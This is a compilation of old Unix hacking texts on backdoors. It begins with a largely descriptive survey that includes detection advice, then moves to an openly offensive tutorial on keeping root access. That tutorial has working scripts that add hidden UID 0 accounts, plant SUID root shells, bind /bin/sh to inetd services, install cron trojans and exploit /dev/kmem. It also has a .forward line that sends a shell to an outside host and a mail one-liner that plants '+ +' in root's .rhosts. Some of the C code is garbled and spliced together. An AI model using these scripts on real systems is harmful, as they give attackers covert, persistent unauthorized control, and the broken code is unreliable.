About Backdoor

Backdoors By Puerto

Since the early days of intruders breaking into computers, they have tried
to develop techniques or backdoors that allow them to get back into the
system. In this paper, it will be focused on many of the common backdoors
and possible ways to check for them. Most of focus will be on Unix
backdoors with some discussion on future Windows NT backdoors. This will
describe the complexity of the issues in trying to determine the methods
that intruders use and the basis for administrators understanding on how
they might be able to stop the intruders from getting back in. When an
administrator understands how difficult it would be to stop intruder once
they are in, the appreciation of being proactive to block the intruder from
ever getting in becomes better understood. This is intended to cover many
of the popular commonly used backdoors by beginner and advanced intruders.
This is not intended to cover every possible way to create a backdoor as
the possibilities are limitless.

The backdoor for most intruders provide two or three main functions:

Be able to get back into a machine even if the administrator tries to
secure it, e.g., changing all the passwords.

Be able to get back into the machine with the least amount of visibility.
Most backdoors provide a way to avoid being logged and many times the
machine can appear to have no one online even while an intruder is using

Be able to get back into the machine with the least amount of time. Most
intruders want to easily get back into the machine without having to do all
the work of exploiting a hole to gain access.

In some cases, if the intruder may think the administrator may detect any
installed backdoor, they will resort to using the vulnerability repeatedly
to get on a machine as the only backdoor. Thus not touching anything that
may tip off the administrator. Therefore in some cases, the
vulnerabilities on a machine remain the only unnoticed backdoor.

Password Cracking Backdoor

One of the first and oldest methods of intruders used to gain not only
access to a Unix machine but backdoors was to run a password cracker. This
uncovers weak passworded accounts. All these new accounts are now possible
backdoors into a machine even if the system administrator locks out the
intruder's current account. Many times, the intruder will look for unused
accounts with easy passwords and change the password to something
difficult. When the administrator looked for all the weak passworded
accounts, the accounts with modified passwords will not appear. Thus the
administrator will not be able to easily determine which accounts to lock

Rhosts + + Backdoor

On networked Unix machines, services like Rsh and Rlogin used a simple
authentication method based on hostnames that appear in rhosts. A user
could easily configure which machines not to require a password to log
into. An intruder that gained access to someone's rhosts file could put a
"+ +" in the file and that would allow anyone from anywhere to log into
that account without a password. Many intruders use this method especially
when NFS is exporting home directories to the world. These accounts
become backdoors for intruders to get back into the system. Many intruders
prefer using Rsh over Rlogin because it is many times lacking any logging
capability. Many administrators check for "+ +" therefore an intruder may
actually put in a hostname and username from another compromised account on
the network, making it less obvious to spot.

Checksum and Timestamp Backdoors

Early on, many intruders replaced binaries with their own trojan versions.
Many system administrators relied on time-stamping and the system checksum
programs, e.g., Unix's sum program, to try to determine when a binary file
has been modified. Intruders have developed technology that will recreate
the same time-stamp for the trojan file as the original file. This is
accomplished by setting the system clock time back to the original file's
time and then adjusting the trojan file's time to the system clock. Once
the binary trojan file has the exact same time as the original, the system
clock is reset to the current time. The sum program relies on a CRC
checksum and is easily spoofed. Intruders have developed programs that
would modify the trojan binary to have the necessary original checksum,
thus fooling the administrators. MD5 checksums is the recommended choice
to use today by most vendors. MD5 is based on an algorithm that no one has
yet to date proven can be spoofed.

Login Backdoor

On Unix, the login program is the software that usually does the password
authentication when someone telnets to the machine. Intruders grabbed the
source code to login.c and modified it that when login compared the user's
password with the stored password, it would first check for a backdoor
password. If the user typed in the backdoor password, it would allow you to
log in regardless of what the administrator sets the passwords to. Thus
this allowed the intruder to log into any account, even root. The
password backdoor would spawn access before the user actually logged in and
appeared in utmp and wtmp. Therefore an intruder could be logged in and
have shell access without it appearing anyone is on that machine as that
account. Administrators started noticing these backdoors especially if
they did a "strings" command to find what text was in the login program.
Many times the backdoor password would show up. The intruders then
encrypted or hid the backdoor password better so it would not appear by
just doing strings. Many of the administrators can detect these backdoors
with MD5 checksums.

Telnetd Backdoor

When a user telnets to the machine, inetd service listens on the port and
receive the connection and then passes it to in.telnetd, that then runs
login. Some intruders knew the administrator was checking the login
program for tampering, so they modified in.telnetd. Within in.telnetd, it
does several checks from the user for things like what kind of terminal the
user was using. Typically, the terminal setting might be Xterm or VT100.
An intruder could backdoor it so that when the terminal was set to
"letmein", it would spawn a shell without requiring any authentication.
Intruders have backdoored some services so that any connection from a
specific source port can spawn a shell.

Services Backdoor

Almost every network service has at one time been backdoored by an
intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
inetd, etc., have been floating around forever. There are programs that
are nothing more than a shell connected to a TCP port with maybe a backdoor
password to gain access. These programs sometimes replace a service like
uucp that never gets used or they get added to the inetd.conf file as a new
service. Administrators should be very wary of what services are running
and analyze the original services by MD5 checksums.

Cronjob backdoor

Cronjob on Unix schedules when certain programs should be run. An intruder
could add a backdoor shell program to run between 1 AM and 2 AM. So for 1
hour every night, the intruder could gain access. Intruders have also
looked at legitimate programs that typically run in cronjob and built
backdoors into those programs as well.

Library backdoors

Almost every UNIX system uses shared libraries. The shared libraries are
intended to reuse many of the same routines thus cutting down on the size
of programs. Some intruders have backdoored some of the routines like
crypt.c and _crypt.c. Programs like login.c would use the crypt() routine
and if a backdoor password was used it would spawn a shell. Therefore,
even if the administrator was checking the MD5 of the login program, it was
still spawning a backdoor routine and many administrators were not checking
the libraries as a possible source of backdoors.

One problem for many intruders was that some administrators started MD5
checksums of almost everything. One method intruders used to get around
that is to backdoor the open() and file access routines. The backdoor
routines were configured to read the original files, but execute the trojan
backdoors. Therefore, when the MD5 checksum program was reading these
files, the checksums always looked good. But when the system ran the
program, it executed the trojan version. Even the trojan library itself,
could be hidden from the MD5 checksums. One way to an administrator could
get around this backdoor was to statically link the MD5 checksum checker
and run on the system. The statically linked program does not use the
trojan shared libraries.

Kernel backdoors

The kernel on Unix is the core of how Unix works. The same method used for
libraries for bypassing MD5 checksum could be used at the kernel level,
except even a statically linked program could not tell the difference. A
good backdoored kernel is probably one of the hardest to find by
administrators, fortunately kernel backdoor scripts have not yet been
widely made available and no one knows how wide spread they really are.

File system backdoors

An intruder may want to store their loot or data on a server somewhere
without the administrator finding the files. The intruder's files can
typically contain their toolbox of exploit scripts, backdoors, sniffer
logs, copied data like email messages, source code, etc. To hide these
sometimes large files from an administrator, an intruder may patch the
files system commands like "ls", "du", and "fsck" to hide the existence of
certain directories or files. At a very low level, one intruder's backdoor
created a section on the hard drive to have a proprietary format that was
designated as "bad" sectors on the hard drive. Thus an intruder could
access those hidden files with only special tools, but to the regular
administrator, it is very difficult to determine that the marked "bad"
sectors were indeed storage area for the hidden file system.

Bootblock backdoors

In the PC world, many viruses have hid themselves within the bootblock
section and most antivirus software will check to see if the bootblock has
been altered. On Unix, most administrators do not have any software that
checks the bootblock, therefore some intruders have hidden some backdoors
in the bootblock area.

Process hiding backdoors

An intruder many times wants to hide the programs they are running. The
programs they want to hide are commonly a password cracker or a sniffer.
There are quite a few methods and here are some of the more common:

An intruder may write the program to modify its own argv[] to make it look
like another process name.

An intruder could rename the sniffer program to a legitimate service like
in.syslog and run it. Thus when an administrator does a "ps" or looks at
what is running, the standard service names appear.

An intruder could modify the library routines so that "ps" does not show
all the processes.

An intruder could patch a backdoor or program into an interrupt driven
routine so it does not appear in the process table. An example backdoor
using this technique is amod.tar.gz available on

An intruder could modify the kernel to hide certain processes as well.


One of the most popular packages to install backdoors is rootkit. It can
easily be located using Web search engines. From the Rootkit README, here
are the typical files that get installed:

z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.

Network traffic backdoors

Not only do intruders want to hide their tracks on the machine, but also
they want to hide their network traffic as much as possible. These network
traffic backdoors sometimes allow an intruder to gain access through a
firewall. There are many network backdoor programs that allow an intruder
to set up on a certain port number on a machine that will allow access
without ever going through the normal services. Because the traffic is
going to a non-standard network port, the administrator can overlook the
intruder's traffic. These network traffic backdoors are typically using
TCP, UDP, and ICMP, but it could be many other kinds of packets.

TCP Shell Backdoors

The intruder can set up these TCP Shell backdoors on some high port number
possibly where the firewall is not blocking that TCP port. Many times,
they will be protected with a password just so that an administrator that
connects to it, will not immediately see shell access. An administrator
can look for these connections with netstat to see what ports are listening
and where current connections are going to and from. Many times, these
backdoors allow an intruder to get past TCP Wrapper technology. These
backdoors could be run on the SMTP port, which many firewalls allow traffic
to pass for e-mail.

UDP Shell Backdoors

Administrator many times can spot a TCP connection and notice the odd
behavior, while UDP shell backdoors lack any connection so netstat would
not show an intruder accessing the Unix machine. Many firewalls have been
configured to allow UDP packets for services like DNS through. Many times,
intruders will place the UDP Shell backdoor on that port and it will be
allowed to by-pass the firewall.

ICMP Shell Backdoors

Ping is one of the most common ways to find out if a machine is alive by
sending and receiving ICMP packets. Many firewalls allow outsiders to ping
internal machines. An intruder can put data in the Ping ICMP packets and
tunnel a shell between the pinging machines. An administrator may notice a
flurry of Ping packets, but unless the administrator looks at the data in
the packets, an intruder can be unnoticed.

Encrypted Link

An administrator can set up a sniffer trying to see data appears as someone
accessing a shell, but an intruder can add encryption to the Network
traffic backdoors and it becomes almost impossible to determine what is
actually being transmitted between two machines.

Windows NT

Because Windows NT does not easily allow multiple users on a single machine
and remote access similar as Unix, it becomes harder for the intruder to
break into Windows NT, install a backdoor, and launch an attack from it.
Thus you will find more frequently network attacks that are spring boarded
from a Unix box than Windows NT. As Windows NT advances in multi-user
technologies, this may give a higher frequency of intruders who use Windows
NT to their advantage. And if this does happen, many of the concepts from
Unix backdoors can be ported to Windows NT and administrators can be ready
for the intruder. Today, there are already telnet daemons available for
Windows NT. With Network Traffic backdoors, they are very feasible for
intruders to install on Windows NT.


As backdoor technology advances, it becomes even harder for administrators
to determine if an intruder has gotten in or if they have been successfully
locked out.


One of the first steps in being proactive is to assess how vulnerable your
network is, thus being able to figure out what holes exist that should be
fixed. Many commercial tools exist to help scan and audit the network and
systems for vulnerabilities. Many companies could dramatically improve
their security if they only installed the security patches made freely
available by their vendors.

MD5 Baselines

One necessary component of a system scanner is MD5 checksum baselines.
This MD5 baseline should be built up before a hacker attack with clean
systems. Once a hacker is in and has installed backdoors, trying to create
a baseline after the fact could incorporate the backdoors into the
baseline. Several companies had been hacked and had backdoors installed on
their systems for many months. Overtime, all the backups of the systems
contained the backdoors. When some of these companies found out they had
a hacker, they restored a backup in hopes of removing any backdoors. The
effort was futile since they were restoring all the files, even the
backdoored ones. The binary baseline comparison needs to be done before an
attack happens.

Intrusion detection

Intrusion detection is becoming more important as organizations are hooking
up and allowing connections to some of their machines. Most of the older
intrusion detection technology was log-based events. The latest intrusion
detection system (IDS) technology is based on real-time sniffing and
network traffic security analysis. Many of the network traffic backdoors
can now easily be detected. The latest IDS technology can take a look at
the DNS UDP packets and determine if it matches the DNS protocol requests.
If the data on the DNS port does not match the DNS protocol, an alert flag
can be signaled and the data captured for further analysis. The same
principle can be applied to the data in an ICMP packet to see if it is the
normal ping data or if it is carrying encrypted shell session.

Boot from CD-ROM.

Some administrators may want to consider booting from CD-ROM thus
eliminating the possibility of an intruder installing a backdoor on the
CD-ROM. The problem with this method is the cost and time of implementing
this solution enterprise wide.


Because the security field is changing so fast, with new vulnerabilities
being announced daily and intruders are constantly designing new attack and
backdoor techniques, no security technology is effective without vigilance.

Be aware that no defense is foolproof, and that there is no substitute for
diligent attention.


you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:

|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).

> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).


you may want to add this "feature" that can act as a backdoor:

when specifying a wrong uid/gid in the /etc/password file,
most login(1) implementations will fail to detect the wrong
uid/gid and atoi(3) will set uid/gid to 0, giving superuser

rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
on Linux boxes, this will give uid 0 to user rmartin.

This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one.


Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...

The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.

The Overt

[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...

# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

NEVER, EVER, change the root password. The reasons are obvious.

[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second

[3] Leave an SUID root shell in /tmp.

# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.

The Veiled

[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:

(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd

Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this:

Open the /etc/inetd.conf in an available editor. Find the line that reads:

daytime stream tcp nowait root internal

and change it to:

daytime stream tcp nowait /bin/sh sh -i.

You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).

[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:

(1) (2)/(3) (4)
smtp 25/tcp mail

Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:

evil 22/tcp evil

and this line to /etc/inetd.conf:

evil stream tcp nowait /bin/sh sh -i

Restart inetd as before.

Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet.

[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:

(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb

Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root:

0 0 * * * /usr/bin/trojancode

This is the shell script:

# Is our eviluser still on the system? Let's make sure he is.

set evilflag = (`grep eviluser /etc/passwd`)

if($#evilflag == 0) then # Is he there?

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:

29 2 * * * /bin/usr/sneakysneaky_passwd

make sure this exists:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

and this is the simple shell script:

# Install trojan /etc/passwd file for one minute

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd

[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well.

/* A little trojan to create an SUID root shell, if the proper argument is
given. C code, rather than shell to hide obvious it's effects. */
/* daemon9@netcom.com */


#define KEYWORD "industry3"
#define BUFFERSIZE 10

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){ /* we've got an argument, is it the keyword? */


/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){> tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com

You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here.

The Covert

[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;

Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.

The Esoteric

[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that.

/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by daemon9@netcom.com */


#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){ /* we've got an argument, is it the keyword? */

printf("Cannot read or write to /dev/kmem\n");


printf("Cannot seek to user page\n");

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf("Cannot read user page\n");

printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);



printf("Cannot seek to user page\n");

write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

} /* End main */


#define LNULL ((LDFILE *)0)

long address(){

LDFILE *object;
SYMENT symbol;
long idx=0;


fprintf(stderr,"Cannot open /unix.\n");

fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);

fprintf(stderr,"Cannot read symbol table in /unix.\n");

[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:

chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before

From The Infinity Concept Issue II


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